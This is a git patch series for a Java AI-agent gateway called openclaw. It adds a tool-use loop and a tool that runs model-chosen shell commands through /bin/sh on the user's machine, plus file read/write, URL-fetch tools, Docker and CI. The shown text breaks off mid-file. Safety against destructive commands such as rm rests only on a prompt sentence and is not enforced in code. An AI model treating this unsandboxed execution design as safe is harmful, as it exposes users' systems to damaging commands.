From 3f407539b32b98c5e3160c81c99413ceb2035266 Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 21:02:49 -0800 Subject: [PATCH 01/10] Add code execution harness with tool-use support - New ai.openclaw.tool package: Tool interface, ToolResult, CodeExecutionTool - CodeExecutionTool runs shell commands via ProcessBuilder with timeout - LlmResponse structured response type for Anthropic content blocks - LlmProvider.completeWithTools() for tool-use API integration - AnthropicProvider supports full Anthropic tool-use protocol - AgentExecutor agentic loop: call LLM -> execute tools -> loop (max 10) - Message extended with toolUseId, toolError, contentBlocks fields - System prompt updated with code execution instructions - 5 new unit tests for CodeExecutionTool --- .../java/ai/openclaw/agent/AgentExecutor.java | 113 +++++++++++++++-- .../ai/openclaw/agent/AnthropicProvider.java | 69 ++++++++++- .../java/ai/openclaw/agent/LlmProvider.java | 8 ++ .../java/ai/openclaw/agent/LlmResponse.java | 104 ++++++++++++++++ .../openclaw/agent/SystemPromptBuilder.java | 6 +- .../java/ai/openclaw/cli/GatewayCommand.java | 9 +- .../java/ai/openclaw/session/Message.java | 57 +++++++++ .../ai/openclaw/tool/CodeExecutionTool.java | 115 ++++++++++++++++++ src/main/java/ai/openclaw/tool/Tool.java | 20 +++ .../java/ai/openclaw/tool/ToolResult.java | 36 ++++++ .../ai/openclaw/test/MockLlmProvider.java | 8 ++ .../openclaw/tool/CodeExecutionToolTest.java | 69 +++++++++++ 12 files changed, 598 insertions(+), 16 deletions(-) create mode 100644 src/main/java/ai/openclaw/agent/LlmResponse.java create mode 100644 src/main/java/ai/openclaw/tool/CodeExecutionTool.java create mode 100644 src/main/java/ai/openclaw/tool/Tool.java create mode 100644 src/main/java/ai/openclaw/tool/ToolResult.java create mode 100644 src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java diff --git a/src/main/java/ai/openclaw/agent/AgentExecutor.java b/src/main/java/ai/openclaw/agent/AgentExecutor.java index f44c67f..28778a1 100644 --- a/src/main/java/ai/openclaw/agent/AgentExecutor.java +++ b/src/main/java/ai/openclaw/agent/AgentExecutor.java @@ -1,27 +1,48 @@ package ai.openclaw.agent; +import ai.openclaw.config.Json; import ai.openclaw.config.OpenClawConfig; import ai.openclaw.session.Message; import ai.openclaw.session.Session; import ai.openclaw.session.SessionStore; +import ai.openclaw.tool.Tool; +import ai.openclaw.tool.ToolResult; + +import com.fasterxml.jackson.databind.node.ArrayNode; +import com.fasterxml.jackson.databind.node.ObjectNode; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.ArrayList; +import java.util.HashMap; import java.util.List; +import java.util.Map; public class AgentExecutor { private static final Logger logger = LoggerFactory.getLogger(AgentExecutor.class); + private static final int MAX_TOOL_ITERATIONS = 10; + private final OpenClawConfig config; private final SessionStore sessionStore; private final LlmProvider llmProvider; private final SystemPromptBuilder promptBuilder; + private final List tools; + private final Map toolMap; public AgentExecutor(OpenClawConfig config, SessionStore sessionStore, LlmProvider llmProvider) { + this(config, sessionStore, llmProvider, List.of()); + } + + public AgentExecutor(OpenClawConfig config, SessionStore sessionStore, LlmProvider llmProvider, List tools) { this.config = config; this.sessionStore = sessionStore; this.llmProvider = llmProvider; this.promptBuilder = new SystemPromptBuilder(config); + this.tools = tools; + this.toolMap = new HashMap<>(); + for (Tool tool : tools) { + this.toolMap.put(tool.name(), tool); + } } public String execute(String sessionId, String userMessage) { @@ -35,27 +56,95 @@ public String execute(String sessionId, String userMessage) { Message userMsg = new Message("user", userMessage); sessionStore.appendMessage(sessionId, userMsg); - // 3. Build Context - List context = new ArrayList<>(); - // System Prompt - context.add(new Message("system", promptBuilder.build())); - // History - context.addAll(session.getMessages()); - - // 4. Call LLM + // 3. Run the agentic loop String responseText; try { - String model = config.getAgent().getModel(); - responseText = llmProvider.complete(context, model); + responseText = runAgentLoop(session); } catch (Exception e) { - logger.error("LLM Provider failed", e); + logger.error("Agent loop failed", e); responseText = "Error: " + e.getMessage(); } - // 5. Append Assistant Message + // 4. Append final Assistant Message Message assistantMsg = new Message("assistant", responseText); sessionStore.appendMessage(sessionId, assistantMsg); return responseText; } + + private String runAgentLoop(Session session) throws Exception { + String model = config.getAgent().getModel(); + + for (int iteration = 0; iteration < MAX_TOOL_ITERATIONS; iteration++) { + // Build context from session history + List context = new ArrayList<>(); + context.add(new Message("system", promptBuilder.build())); + context.addAll(session.getMessages()); + + // Call LLM with tools + LlmResponse response; + if (!tools.isEmpty()) { + response = llmProvider.completeWithTools(context, model, tools); + } else { + String text = llmProvider.complete(context, model); + return text; + } + + if (!response.hasToolUse()) { + // No tool use — return the text content + return response.getTextContent(); + } + + // The LLM wants to use tools + logger.info("Tool use requested (iteration {})", iteration + 1); + + // Store the assistant's response (with tool_use blocks) in the session + // so it can be replayed in the next API call + ArrayNode contentBlocksJson = serializeContentBlocks(response.getContent()); + Message assistantToolMsg = Message.assistantToolUse(contentBlocksJson); + session.addMessage(assistantToolMsg); + + // Execute each requested tool and add results to session + for (LlmResponse.ContentBlock block : response.getToolUseBlocks()) { + Tool tool = toolMap.get(block.getToolName()); + ToolResult result; + if (tool != null) { + logger.info("Executing tool: {} (id: {})", block.getToolName(), block.getToolUseId()); + result = tool.execute(block.getToolInput()); + } else { + logger.warn("Unknown tool requested: {}", block.getToolName()); + result = ToolResult.error("Unknown tool: " + block.getToolName()); + } + + Message toolResultMsg = Message.toolResult( + block.getToolUseId(), + result.getOutput(), + result.isError()); + session.addMessage(toolResultMsg); + } + + // Loop back — the next iteration will include the tool results in context + } + + logger.warn("Agent loop hit max iterations ({})", MAX_TOOL_ITERATIONS); + return "I've reached the maximum number of tool use steps. Here's what I have so far — please try rephrasing your request if you need more."; + } + + /** Serialize content blocks back to the JSON format Anthropic expects. */ + private ArrayNode serializeContentBlocks(List blocks) { + ArrayNode array = Json.mapper().createArrayNode(); + for (LlmResponse.ContentBlock block : blocks) { + ObjectNode node = array.addObject(); + if ("text".equals(block.getType())) { + node.put("type", "text"); + node.put("text", block.getText()); + } else if ("tool_use".equals(block.getType())) { + node.put("type", "tool_use"); + node.put("id", block.getToolUseId()); + node.put("name", block.getToolName()); + node.set("input", block.getToolInput()); + } + } + return array; + } } diff --git a/src/main/java/ai/openclaw/agent/AnthropicProvider.java b/src/main/java/ai/openclaw/agent/AnthropicProvider.java index 287cb38..7f7e43d 100644 --- a/src/main/java/ai/openclaw/agent/AnthropicProvider.java +++ b/src/main/java/ai/openclaw/agent/AnthropicProvider.java @@ -1,7 +1,8 @@ package ai.openclaw.agent; -import ai.openclaw.session.Message; import ai.openclaw.config.Json; +import ai.openclaw.session.Message; +import ai.openclaw.tool.Tool; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.ArrayNode; @@ -9,6 +10,7 @@ import okhttp3.*; import java.io.IOException; +import java.util.ArrayList; import java.util.List; import java.util.concurrent.TimeUnit; @@ -29,16 +31,44 @@ public AnthropicProvider(String apiKey) { @Override public String complete(List messages, String model) throws IOException { + LlmResponse response = completeWithTools(messages, model, List.of()); + return response.getTextContent(); + } + + @Override + public LlmResponse completeWithTools(List messages, String model, List tools) throws IOException { ObjectNode requestBody = mapper.createObjectNode(); requestBody.put("model", model); requestBody.put("max_tokens", 4096); + // Build messages array ArrayNode messagesArray = requestBody.putArray("messages"); String systemPrompt = null; for (Message msg : messages) { if ("system".equals(msg.getRole())) { systemPrompt = msg.getContent(); + } else if ("tool_result".equals(msg.getRole())) { + // Tool results use structured content format + ObjectNode messageNode = messagesArray.addObject(); + messageNode.put("role", "user"); + ArrayNode contentArray = messageNode.putArray("content"); + ObjectNode toolResultBlock = contentArray.addObject(); + toolResultBlock.put("type", "tool_result"); + toolResultBlock.put("tool_use_id", msg.getToolUseId()); + toolResultBlock.put("content", msg.getContent()); + if (msg.isToolError()) { + toolResultBlock.put("is_error", true); + } + } else if ("assistant_tool_use".equals(msg.getRole())) { + // Reconstruct the assistant message with tool_use content blocks + ObjectNode messageNode = messagesArray.addObject(); + messageNode.put("role", "assistant"); + if (msg.getContentBlocks() != null) { + messageNode.set("content", msg.getContentBlocks()); + } else { + messageNode.put("content", msg.getContent()); + } } else { ObjectNode messageNode = messagesArray.addObject(); messageNode.put("role", msg.getRole()); @@ -50,6 +80,17 @@ public String complete(List messages, String model) throws IOException requestBody.put("system", systemPrompt); } + // Add tool definitions if provided + if (tools != null && !tools.isEmpty()) { + ArrayNode toolsArray = requestBody.putArray("tools"); + for (Tool tool : tools) { + ObjectNode toolNode = toolsArray.addObject(); + toolNode.put("name", tool.name()); + toolNode.put("description", tool.description()); + toolNode.set("input_schema", tool.inputSchema()); + } + } + RequestBody body = RequestBody.create( mapper.writeValueAsString(requestBody), MediaType.parse("application/json")); @@ -69,8 +110,32 @@ public String complete(List messages, String model) throws IOException } JsonNode jsonResponse = mapper.readTree(response.body().byteStream()); - return jsonResponse.get("content").get(0).get("text").asText(); + return parseResponse(jsonResponse); + } + } + + private LlmResponse parseResponse(JsonNode jsonResponse) { + String stopReason = jsonResponse.has("stop_reason") + ? jsonResponse.get("stop_reason").asText() + : "end_turn"; + + List blocks = new ArrayList<>(); + JsonNode contentArray = jsonResponse.get("content"); + if (contentArray != null && contentArray.isArray()) { + for (JsonNode block : contentArray) { + String type = block.get("type").asText(); + if ("text".equals(type)) { + blocks.add(LlmResponse.ContentBlock.text(block.get("text").asText())); + } else if ("tool_use".equals(type)) { + blocks.add(LlmResponse.ContentBlock.toolUse( + block.get("id").asText(), + block.get("name").asText(), + block.get("input"))); + } + } } + + return new LlmResponse(stopReason, blocks); } @Override diff --git a/src/main/java/ai/openclaw/agent/LlmProvider.java b/src/main/java/ai/openclaw/agent/LlmProvider.java index 5d5edaf..f12b965 100644 --- a/src/main/java/ai/openclaw/agent/LlmProvider.java +++ b/src/main/java/ai/openclaw/agent/LlmProvider.java @@ -1,10 +1,18 @@ package ai.openclaw.agent; import ai.openclaw.session.Message; +import ai.openclaw.tool.Tool; import java.util.List; public interface LlmProvider { + /** Simple text-only completion (no tools). */ String complete(List messages, String model) throws Exception; + /** + * Completion with tool definitions — returns structured response with possible + * tool_use blocks. + */ + LlmResponse completeWithTools(List messages, String model, List tools) throws Exception; + String providerName(); } diff --git a/src/main/java/ai/openclaw/agent/LlmResponse.java b/src/main/java/ai/openclaw/agent/LlmResponse.java new file mode 100644 index 0000000..9b0b1f9 --- /dev/null +++ b/src/main/java/ai/openclaw/agent/LlmResponse.java @@ -0,0 +1,104 @@ +package ai.openclaw.agent; + +import com.fasterxml.jackson.databind.JsonNode; + +import java.util.ArrayList; +import java.util.List; + +/** + * Structured response from the LLM that can contain text and/or tool-use + * requests. + */ +public class LlmResponse { + private final String stopReason; + private final List content; + + public LlmResponse(String stopReason, List content) { + this.stopReason = stopReason; + this.content = content; + } + + public String getStopReason() { + return stopReason; + } + + public List getContent() { + return content; + } + + /** Returns true if the LLM wants to use one or more tools. */ + public boolean hasToolUse() { + return "tool_use".equals(stopReason); + } + + /** Extracts all text blocks concatenated into a single string. */ + public String getTextContent() { + StringBuilder sb = new StringBuilder(); + for (ContentBlock block : content) { + if ("text".equals(block.getType()) && block.getText() != null) { + if (sb.length() > 0) + sb.append("\n"); + sb.append(block.getText()); + } + } + return sb.toString(); + } + + /** Returns only the tool-use content blocks. */ + public List getToolUseBlocks() { + List toolBlocks = new ArrayList<>(); + for (ContentBlock block : content) { + if ("tool_use".equals(block.getType())) { + toolBlocks.add(block); + } + } + return toolBlocks; + } + + /** + * A single content block in the LLM response — either text or tool_use. + */ + public static class ContentBlock { + private final String type; + private final String text; + private final String toolUseId; + private final String toolName; + private final JsonNode toolInput; + + private ContentBlock(String type, String text, String toolUseId, String toolName, JsonNode toolInput) { + this.type = type; + this.text = text; + this.toolUseId = toolUseId; + this.toolName = toolName; + this.toolInput = toolInput; + } + + public static ContentBlock text(String text) { + return new ContentBlock("text", text, null, null, null); + } + + public static ContentBlock toolUse(String toolUseId, String toolName, JsonNode toolInput) { + return new ContentBlock("tool_use", null, toolUseId, toolName, toolInput); + } + + public String getType() { + return type; + } + + public String getText() { + return text; + } + + public String getToolUseId() { + return toolUseId; + } + + public String getToolName() { + return toolName; + } + + public JsonNode getToolInput() { + return toolInput; + } + } +} diff --git a/src/main/java/ai/openclaw/agent/SystemPromptBuilder.java b/src/main/java/ai/openclaw/agent/SystemPromptBuilder.java index 5517405..fbff5b1 100644 --- a/src/main/java/ai/openclaw/agent/SystemPromptBuilder.java +++ b/src/main/java/ai/openclaw/agent/SystemPromptBuilder.java @@ -12,7 +12,11 @@ public class SystemPromptBuilder { private static final Logger logger = LoggerFactory.getLogger(SystemPromptBuilder.class); private final OpenClawConfig config; - private static final String DEFAULT_PROMPT = "You are OpenClaw, a helpful AI assistant. You answer concisely and accurately."; + private static final String DEFAULT_PROMPT = "You are OpenClaw, a helpful AI assistant. " + + "You answer concisely and accurately. " + + "You have a code_execution tool that can run shell commands on the user's machine. " + + "Use it when the user asks you to run code, scripts, check files, or perform any command-line task. " + + "Always confirm with the user before running destructive commands (rm, mv to overwrite, etc.)."; public SystemPromptBuilder(OpenClawConfig config) { this.config = config; diff --git a/src/main/java/ai/openclaw/cli/GatewayCommand.java b/src/main/java/ai/openclaw/cli/GatewayCommand.java index 0091e3a..22bbbd6 100644 --- a/src/main/java/ai/openclaw/cli/GatewayCommand.java +++ b/src/main/java/ai/openclaw/cli/GatewayCommand.java @@ -9,8 +9,11 @@ import ai.openclaw.gateway.GatewayServer; import ai.openclaw.gateway.RpcRouter; import ai.openclaw.session.SessionStore; +import ai.openclaw.tool.CodeExecutionTool; +import ai.openclaw.tool.Tool; import picocli.CommandLine.Command; +import java.util.List; import java.util.concurrent.CountDownLatch; @Command(name = "gateway", description = "Starts the Gateway WebSocket server") @@ -26,7 +29,11 @@ public void run() { // 2. Initialize Components SessionStore sessionStore = new SessionStore(); AnthropicProvider llmProvider = new AnthropicProvider(config.getAgent().getApiKey()); - AgentExecutor agentExecutor = new AgentExecutor(config, sessionStore, llmProvider); + + // Register tools + List tools = List.of(new CodeExecutionTool()); + + AgentExecutor agentExecutor = new AgentExecutor(config, sessionStore, llmProvider, tools); // 3. Setup RPC Router RpcRouter router = new RpcRouter(); diff --git a/src/main/java/ai/openclaw/session/Message.java b/src/main/java/ai/openclaw/session/Message.java index 7961b98..c21b4a2 100644 --- a/src/main/java/ai/openclaw/session/Message.java +++ b/src/main/java/ai/openclaw/session/Message.java @@ -1,12 +1,27 @@ package ai.openclaw.session; +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.databind.JsonNode; + import java.time.Instant; +/** + * A message in a session conversation. + * Supports plain text messages and tool-related messages. + */ +@JsonIgnoreProperties(ignoreUnknown = true) +@JsonInclude(JsonInclude.Include.NON_NULL) public class Message { private String role; private String content; private Instant timestamp; + // Tool-use fields + private String toolUseId; + private boolean toolError; + private JsonNode contentBlocks; // For assistant messages that contain tool_use blocks + public Message() { } @@ -22,6 +37,24 @@ public Message(String role, String content, Instant timestamp) { this.timestamp = timestamp; } + /** Create a tool_result message. */ + public static Message toolResult(String toolUseId, String content, boolean isError) { + Message msg = new Message("tool_result", content); + msg.toolUseId = toolUseId; + msg.toolError = isError; + return msg; + } + + /** + * Create an assistant message that includes tool_use content blocks (for replay + * to API). + */ + public static Message assistantToolUse(JsonNode contentBlocks) { + Message msg = new Message("assistant_tool_use", null); + msg.contentBlocks = contentBlocks; + return msg; + } + public String getRole() { return role; } @@ -45,4 +78,28 @@ public Instant getTimestamp() { public void setTimestamp(Instant timestamp) { this.timestamp = timestamp; } + + public String getToolUseId() { + return toolUseId; + } + + public void setToolUseId(String toolUseId) { + this.toolUseId = toolUseId; + } + + public boolean isToolError() { + return toolError; + } + + public void setToolError(boolean toolError) { + this.toolError = toolError; + } + + public JsonNode getContentBlocks() { + return contentBlocks; + } + + public void setContentBlocks(JsonNode contentBlocks) { + this.contentBlocks = contentBlocks; + } } diff --git a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java new file mode 100644 index 0000000..1bf4c40 --- /dev/null +++ b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java @@ -0,0 +1,115 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.concurrent.TimeUnit; + +/** + * Tool that runs shell commands via ProcessBuilder. + * Commands run as the current OS user with a configurable timeout. + */ +public class CodeExecutionTool implements Tool { + private static final Logger logger = LoggerFactory.getLogger(CodeExecutionTool.class); + private static final int MAX_OUTPUT_CHARS = 8192; + private final long timeoutSeconds; + private final Path workingDirectory; + + public CodeExecutionTool() { + this(30, Paths.get(System.getProperty("user.home"))); + } + + public CodeExecutionTool(long timeoutSeconds, Path workingDirectory) { + this.timeoutSeconds = timeoutSeconds; + this.workingDirectory = workingDirectory; + } + + @Override + public String name() { + return "code_execution"; + } + + @Override + public String description() { + return "Runs a shell command on the user's machine and returns the output. " + + "Use this to execute code, run scripts, list files, or perform any command-line task. " + + "Always confirm with the user before running destructive commands (rm, mv, etc.)."; + } + + @Override + public JsonNode inputSchema() { + ObjectNode schema = Json.mapper().createObjectNode(); + schema.put("type", "object"); + + ObjectNode properties = schema.putObject("properties"); + ObjectNode command = properties.putObject("command"); + command.put("type", "string"); + command.put("description", "The shell command to execute"); + + schema.putArray("required").add("command"); + return schema; + } + + @Override + public ToolResult execute(JsonNode input) { + String command = input.get("command").asText(); + logger.info("Executing command: {}", command); + + try { + ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c", command); + pb.directory(workingDirectory.toFile()); + pb.redirectErrorStream(true); + + Process process = pb.start(); + + // Read output in a separate thread so we don't block on the stream + StringBuilder output = new StringBuilder(); + Thread readerThread = new Thread(() -> { + try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = reader.readLine()) != null) { + if (output.length() < MAX_OUTPUT_CHARS) { + output.append(line).append("\n"); + } + } + } catch (IOException e) { + // Process was destroyed, expected during timeout + } + }); + readerThread.setDaemon(true); + readerThread.start(); + + boolean completed = process.waitFor(timeoutSeconds, TimeUnit.SECONDS); + if (!completed) { + process.destroyForcibly(); + readerThread.join(1000); // Give reader a moment to flush + return new ToolResult( + output.toString().trim() + "\n[TIMEOUT: Command exceeded " + timeoutSeconds + "s limit]", + true, -1); + } + + readerThread.join(2000); // Wait for reader to finish + + int exitCode = process.exitValue(); + String result = output.toString().trim(); + if (result.length() > MAX_OUTPUT_CHARS) { + result = result.substring(0, MAX_OUTPUT_CHARS) + "\n[OUTPUT TRUNCATED]"; + } + + logger.info("Command exited with code {}", exitCode); + return new ToolResult(result, exitCode != 0, exitCode); + + } catch (Exception e) { + logger.error("Failed to execute command: {}", command, e); + return ToolResult.error("Failed to execute command: " + e.getMessage()); + } + } +} diff --git a/src/main/java/ai/openclaw/tool/Tool.java b/src/main/java/ai/openclaw/tool/Tool.java new file mode 100644 index 0000000..9118106 --- /dev/null +++ b/src/main/java/ai/openclaw/tool/Tool.java @@ -0,0 +1,20 @@ +package ai.openclaw.tool; + +import com.fasterxml.jackson.databind.JsonNode; + +/** + * Interface that all agent tools implement. + */ +public interface Tool { + /** Unique name for this tool (sent to the LLM). */ + String name(); + + /** Human-readable description of what this tool does. */ + String description(); + + /** JSON Schema describing the expected input parameters. */ + JsonNode inputSchema(); + + /** Execute the tool with the given input and return the result. */ + ToolResult execute(JsonNode input); +} diff --git a/src/main/java/ai/openclaw/tool/ToolResult.java b/src/main/java/ai/openclaw/tool/ToolResult.java new file mode 100644 index 0000000..10ce24b --- /dev/null +++ b/src/main/java/ai/openclaw/tool/ToolResult.java @@ -0,0 +1,36 @@ +package ai.openclaw.tool; + +/** + * Result of a tool execution. + */ +public class ToolResult { + private final String output; + private final boolean isError; + private final int exitCode; + + public ToolResult(String output, boolean isError, int exitCode) { + this.output = output; + this.isError = isError; + this.exitCode = exitCode; + } + + public static ToolResult success(String output) { + return new ToolResult(output, false, 0); + } + + public static ToolResult error(String output) { + return new ToolResult(output, true, 1); + } + + public String getOutput() { + return output; + } + + public boolean isError() { + return isError; + } + + public int getExitCode() { + return exitCode; + } +} diff --git a/src/test/java/ai/openclaw/test/MockLlmProvider.java b/src/test/java/ai/openclaw/test/MockLlmProvider.java index b314929..d121676 100644 --- a/src/test/java/ai/openclaw/test/MockLlmProvider.java +++ b/src/test/java/ai/openclaw/test/MockLlmProvider.java @@ -1,7 +1,9 @@ package ai.openclaw.test; import ai.openclaw.agent.LlmProvider; +import ai.openclaw.agent.LlmResponse; import ai.openclaw.session.Message; +import ai.openclaw.tool.Tool; import java.util.List; @@ -11,6 +13,12 @@ public String complete(List messages, String model) { return "Mock response from OpenClaw"; } + @Override + public LlmResponse completeWithTools(List messages, String model, List tools) { + return new LlmResponse("end_turn", + List.of(LlmResponse.ContentBlock.text("Mock response from OpenClaw"))); + } + @Override public String providerName() { return "mock"; diff --git a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java new file mode 100644 index 0000000..2ba56e2 --- /dev/null +++ b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java @@ -0,0 +1,69 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.junit.jupiter.api.Test; + +import java.nio.file.Paths; + +import static org.junit.jupiter.api.Assertions.*; + +public class CodeExecutionToolTest { + + private final CodeExecutionTool tool = new CodeExecutionTool(); + + @Test + void testEchoCommand() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("command", "echo hello world"); + + ToolResult result = tool.execute(input); + + assertEquals(0, result.getExitCode()); + assertFalse(result.isError()); + assertEquals("hello world", result.getOutput()); + } + + @Test + void testFailingCommand() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("command", "exit 42"); + + ToolResult result = tool.execute(input); + + assertEquals(42, result.getExitCode()); + assertTrue(result.isError()); + } + + @Test + void testCommandWithStderr() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("command", "echo error >&2"); + + ToolResult result = tool.execute(input); + + assertEquals(0, result.getExitCode()); + assertTrue(result.getOutput().contains("error")); + } + + @Test + void testToolMetadata() { + assertEquals("code_execution", tool.name()); + assertNotNull(tool.description()); + assertNotNull(tool.inputSchema()); + assertTrue(tool.inputSchema().has("properties")); + } + + @Test + void testTimeout() { + CodeExecutionTool shortTimeoutTool = new CodeExecutionTool(2, Paths.get(System.getProperty("user.home"))); + ObjectNode input = Json.mapper().createObjectNode(); + // Use a command that outputs something then sleeps, so the reader can finish + input.put("command", "echo started && sleep 30"); + + ToolResult result = shortTimeoutTool.execute(input); + + assertTrue(result.isError()); + assertEquals(-1, result.getExitCode()); + } +} From e1e2d524235e02a6cf6e4dff3a6c08c3b36544f2 Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 21:51:37 -0800 Subject: [PATCH 02/10] Add file read/write, web fetch tools, Docker, and GitHub Actions CI MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit New tools: - FileReadTool: reads files, lists directories - FileWriteTool: writes/creates files with auto-created dirs - WebSearchTool: fetches URLs, strips HTML to text Infrastructure: - Dockerfile: multi-stage build (Gradle 8 + JDK 21 → Alpine JRE) - .github/workflows/ci.yml: build+test + Docker build verification - .dockerignore: excludes build artifacts from Docker context Tests: - FileReadToolTest: 4 tests (read, missing, directory, metadata) - FileWriteToolTest: 4 tests (create, nested dirs, overwrite, metadata) - WebSearchToolTest: 4 tests (strip HTML, scripts, invalid URL, metadata) --- .dockerignore | 6 + .github/workflows/ci.yml | 41 +++++++ Dockerfile | 23 ++++ .../java/ai/openclaw/cli/GatewayCommand.java | 9 +- .../java/ai/openclaw/tool/FileReadTool.java | 91 +++++++++++++++ .../java/ai/openclaw/tool/FileWriteTool.java | 73 ++++++++++++ .../java/ai/openclaw/tool/WebSearchTool.java | 109 ++++++++++++++++++ .../ai/openclaw/tool/FileReadToolTest.java | 64 ++++++++++ .../ai/openclaw/tool/FileWriteToolTest.java | 68 +++++++++++ .../ai/openclaw/tool/WebSearchToolTest.java | 45 ++++++++ 10 files changed, 528 insertions(+), 1 deletion(-) create mode 100644 .dockerignore create mode 100644 .github/workflows/ci.yml create mode 100644 Dockerfile create mode 100644 src/main/java/ai/openclaw/tool/FileReadTool.java create mode 100644 src/main/java/ai/openclaw/tool/FileWriteTool.java create mode 100644 src/main/java/ai/openclaw/tool/WebSearchTool.java create mode 100644 src/test/java/ai/openclaw/tool/FileReadToolTest.java create mode 100644 src/test/java/ai/openclaw/tool/FileWriteToolTest.java create mode 100644 src/test/java/ai/openclaw/tool/WebSearchToolTest.java diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..d6816d8 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,6 @@ +.git +.gradle +build +.idea +*.iml +.DS_Store diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..4b4cdb0 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,41 @@ +name: CI + +on: + push: + branches: [main, "feature/*"] + pull_request: + branches: [main] + +jobs: + build-and-test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up JDK 21 + uses: actions/setup-java@v4 + with: + java-version: '21' + distribution: 'temurin' + + - name: Setup Gradle + uses: gradle/actions/setup-gradle@v4 + + - name: Build and Test + run: ./gradlew build test + + - name: Upload test results + if: always() + uses: actions/upload-artifact@v4 + with: + name: test-results + path: build/reports/tests/test/ + + docker-build: + runs-on: ubuntu-latest + needs: build-and-test + steps: + - uses: actions/checkout@v4 + + - name: Build Docker image + run: docker build -t openclaw-java:${{ github.sha }} . diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..96ece32 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,23 @@ +FROM gradle:8-jdk21 AS build +WORKDIR /app +COPY build.gradle.kts settings.gradle.kts ./ +COPY gradle ./gradle +# Download dependencies first (cached layer) +RUN gradle dependencies --no-daemon || true +COPY src ./src +RUN gradle jar --no-daemon + +FROM eclipse-temurin:21-jre-alpine +WORKDIR /app + +# Install bash for CodeExecutionTool +RUN apk add --no-cache bash curl + +COPY --from=build /app/build/libs/*.jar /app/openclaw.jar + +# Default gateway port +ENV GATEWAY_PORT=18789 +EXPOSE ${GATEWAY_PORT} + +ENTRYPOINT ["java", "-jar", "/app/openclaw.jar"] +CMD ["gateway"] diff --git a/src/main/java/ai/openclaw/cli/GatewayCommand.java b/src/main/java/ai/openclaw/cli/GatewayCommand.java index 22bbbd6..5306c09 100644 --- a/src/main/java/ai/openclaw/cli/GatewayCommand.java +++ b/src/main/java/ai/openclaw/cli/GatewayCommand.java @@ -10,7 +10,10 @@ import ai.openclaw.gateway.RpcRouter; import ai.openclaw.session.SessionStore; import ai.openclaw.tool.CodeExecutionTool; +import ai.openclaw.tool.FileReadTool; +import ai.openclaw.tool.FileWriteTool; import ai.openclaw.tool.Tool; +import ai.openclaw.tool.WebSearchTool; import picocli.CommandLine.Command; import java.util.List; @@ -31,7 +34,11 @@ public void run() { AnthropicProvider llmProvider = new AnthropicProvider(config.getAgent().getApiKey()); // Register tools - List tools = List.of(new CodeExecutionTool()); + List tools = List.of( + new CodeExecutionTool(), + new FileReadTool(), + new FileWriteTool(), + new WebSearchTool()); AgentExecutor agentExecutor = new AgentExecutor(config, sessionStore, llmProvider, tools); diff --git a/src/main/java/ai/openclaw/tool/FileReadTool.java b/src/main/java/ai/openclaw/tool/FileReadTool.java new file mode 100644 index 0000000..3149c5e --- /dev/null +++ b/src/main/java/ai/openclaw/tool/FileReadTool.java @@ -0,0 +1,91 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +/** + * Tool that reads the contents of a file. + */ +public class FileReadTool implements Tool { + private static final Logger logger = LoggerFactory.getLogger(FileReadTool.class); + private static final int MAX_OUTPUT_CHARS = 8192; + + @Override + public String name() { + return "file_read"; + } + + @Override + public String description() { + return "Reads the contents of a file at the given path and returns it as text. " + + "Use this to inspect source code, config files, logs, or any text file."; + } + + @Override + public JsonNode inputSchema() { + ObjectNode schema = Json.mapper().createObjectNode(); + schema.put("type", "object"); + + ObjectNode properties = schema.putObject("properties"); + ObjectNode path = properties.putObject("path"); + path.put("type", "string"); + path.put("description", "Absolute path to the file to read"); + + schema.putArray("required").add("path"); + return schema; + } + + @Override + public ToolResult execute(JsonNode input) { + String filePath = input.get("path").asText(); + logger.info("Reading file: {}", filePath); + + try { + Path path = Paths.get(filePath); + + if (!Files.exists(path)) { + return ToolResult.error("File not found: " + filePath); + } + + if (Files.isDirectory(path)) { + // List directory contents instead + StringBuilder sb = new StringBuilder(); + sb.append("Directory listing for: ").append(filePath).append("\n"); + Files.list(path).sorted().forEach(p -> { + String type = Files.isDirectory(p) ? "[DIR] " : "[FILE] "; + sb.append(type).append(p.getFileName()).append("\n"); + }); + String result = sb.toString(); + if (result.length() > MAX_OUTPUT_CHARS) { + result = 